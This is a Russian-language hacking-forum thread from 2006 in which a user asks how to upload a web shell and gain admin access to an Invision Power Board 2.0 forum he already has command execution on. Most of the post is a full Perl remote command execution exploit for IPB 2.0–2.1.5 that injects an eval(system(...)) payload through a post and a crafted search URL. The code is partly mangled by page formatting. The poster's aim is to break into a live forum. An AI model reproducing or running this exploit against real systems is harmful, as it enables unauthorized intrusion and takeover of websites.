HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Ipb 2.0* Могу выполнять команды, проблемма с заливкой шелла
  #1  
Старый 27.10.2006, 16:22
samsam
Новичок
Регистрация: 27.10.2006
Сообщений: 12
С нами: 10283231

Репутация: -7
По умолчанию Ipb 2.0* Могу выполнять команды, проблемма с заливкой шелла

Кароч расклад такой...

Воспользовался сплоитом

все ок команды выполняются.
ТОлько вот шелл заоить не могу, видимо отключены команды.

ПОДСКАЖИТЕ ПЛИЗ КАК, сломать форум иль заити как АДМИН зарание благодарен САМ.


PHP код:
#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use 
Getopt::Std;

getopts("l:h:p:d:f:v:");

$host     $opt_h;
$dir      $opt_d;
$login    $opt_l;
$password $opt_p;
$forum    $opt_f;
$version  $opt_v || 0;

$|++;

header();
if(!
$host||!$dir||!$login||!$password||!$forum) { usage(); }

print 
"[~]    SERVER : $host\r\n";
print 
"[~]      PATH : $dir\r\n";
print 
"[~]     LOGIN : $login\r\n";
print 
"[~]  PASSWORD : $password\r\n";
print 
"[~]    TARGET : $version";
print ((
$version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print 
"\r\n";

{
print 
"\r\nCommand for execute or 'exit' for exit ";
while(<
STDIN>)
{
        
$cmd=$_;
        
chomp($cmd);
        exit() if (
$cmd eq 'exit');
        
last;
     }
     
$len length($cmd);
     for (
$i=0$i<$len$i++)
        {
         
$s substr($cmd,$i,1);
         
$out.="chr(".ord($s).")";
         if(
$i != $len-1
            {
             
$out.=".";
            }
          
        }
    
$out "$out)."."chr(59).exit";
 }

print 
"[~] Login ... ";

$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
$login    =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post     'UserName='.$login.'&PassWord='.$password;
$loggedin 0;
print 
$sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print 
$sock "Host: $host\r\n";
print 
$sock "Connection: close\r\n";
print 
$sock "Content-Type: application/x-www-form-urlencoded\n";
print 
$sock "Content-length: ".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";
while (<
$sock>)
{  
 if(/
session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
print 
$sock "GET ${dir}index.php HTTP/1.1\r\n";
print 
$sock "Host: $host\r\n";
print 
$sock "Cookie: session_id=$sid;\r\n";
print 
$sock "Connection: close\r\n\r\n";
while (<
$sock>)
{    
 if(/
act=Login&amp;CODE=03/) { $loggedin 1last; }
}
if(
$loggedin) { print " [ DONE ]\r\n"; }
else { print 
" [ FAILED ]\r\n"; exit(); }

print 
"[+] SID: $sid\r\n";

print 
"[~] Try get md5_check ...";
$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
if(
$version==1)
 {
 print 
$sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
 }
else
 {
 print 
$sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
 }
print 
$sock "Host: $host\r\n";
print 
$sock "Cookie: session_id=$sid;\r\n";
print 
$sock "Connection: close\r\n\r\n";
while (<
$sock>)
 {  
 if(
$version == && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/)  { $md5_check = $1; last; }
 if(
$version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
 }
close(
$sock);
if(
$md5_check) { print " DONE ]\r\n"; print "[+] MD5_CHECK $md5_check\r\n"; }
else { print " 
FAILED ]\r\n"; exit(); }

print "
[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'eval(system('.$out.'()); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=Wazzzup&TopicDesc=&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print 
$sock "POST ${dir}index.php HTTP/1.1\r\n";
print 
$sock "Host$host\r\n";
print 
$sock "Cookiesession_id=$sid;\r\n";
print 
$sock "Connectionclose\r\n";
print 
$sock "Content-Typeapplication/x-www-form-urlencoded\n";
print 
$sock "Content-length".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";
while (<
$sock>)
 {  
 if(/Location:/) { 
$created = 1; last; }
 }
if(
$created) { print " DONE ]\r\n"; }
else { print " 
FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "
[~] Search message ...";
$post = 'keywords=eval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print 
$sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print 
$sock "Host$host\r\n";
print 
$sock "Cookiesession_id=$sid;\r\n";
print 
$sock "Connectionclose\r\n";
print 
$sock "Content-Typeapplication/x-www-form-urlencoded\n";
print 
$sock "Content-length".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";

while (<
$sock>)
 {
 if(/searchid=([a-f|0-9]{32})/) { 
$searchid = $1; last; }
 }

if(
$searchid) { print " DONE ]\r\n"; }
else { print "
FAILED ]\r\n"; exit(); }
print "
[+] SEARCHID$searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=eval&lastdate=z|eval.*?%20//)%23e%00';
print "
Go to URL:\".$host.$dir.$get."";

sub header()
 {
 print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~\r\n";   
 print " 
Invision Power Board 2.commands execution exploit by RST/GHC\r\n";
 print "                    
eDiTeD by DimaHbl4\r\n";
 print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~\r\n";
 }
 
sub usage()
 {
 print "
r57ipbce.pl -<host> -<dir> -<login> -<password> -<forum> -<version>\r\n\r\n";
 print "
<host>     - host where IPB installed e.g www.ipb.com\r\n";
 print "
<dir>      - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
 print "
<login>    - login of any exist user\r\n";
 print "
<password> - and password too )\r\n";
 print "
<forum>    - number of forum where user can create topic e.g 2,4etc\r\n";
 print "
<version>  - forum version:\r\n";
 print "             
2.0.*\r\n";
 print "             
2.1.*\r\n";
 exit();
 } 
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проблема с заливкой шелла в Invision Power Board v2.1.7 DeadMeat Уязвимости CMS / форумов 9 24.02.2010 11:48
Проблеммы с заливкой шелла в ipb 1.3. $klip Уязвимости CMS / форумов 3 13.11.2006 03:11
Основные команды командной строчки. silveran Windows 5 27.10.2005 14:45



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.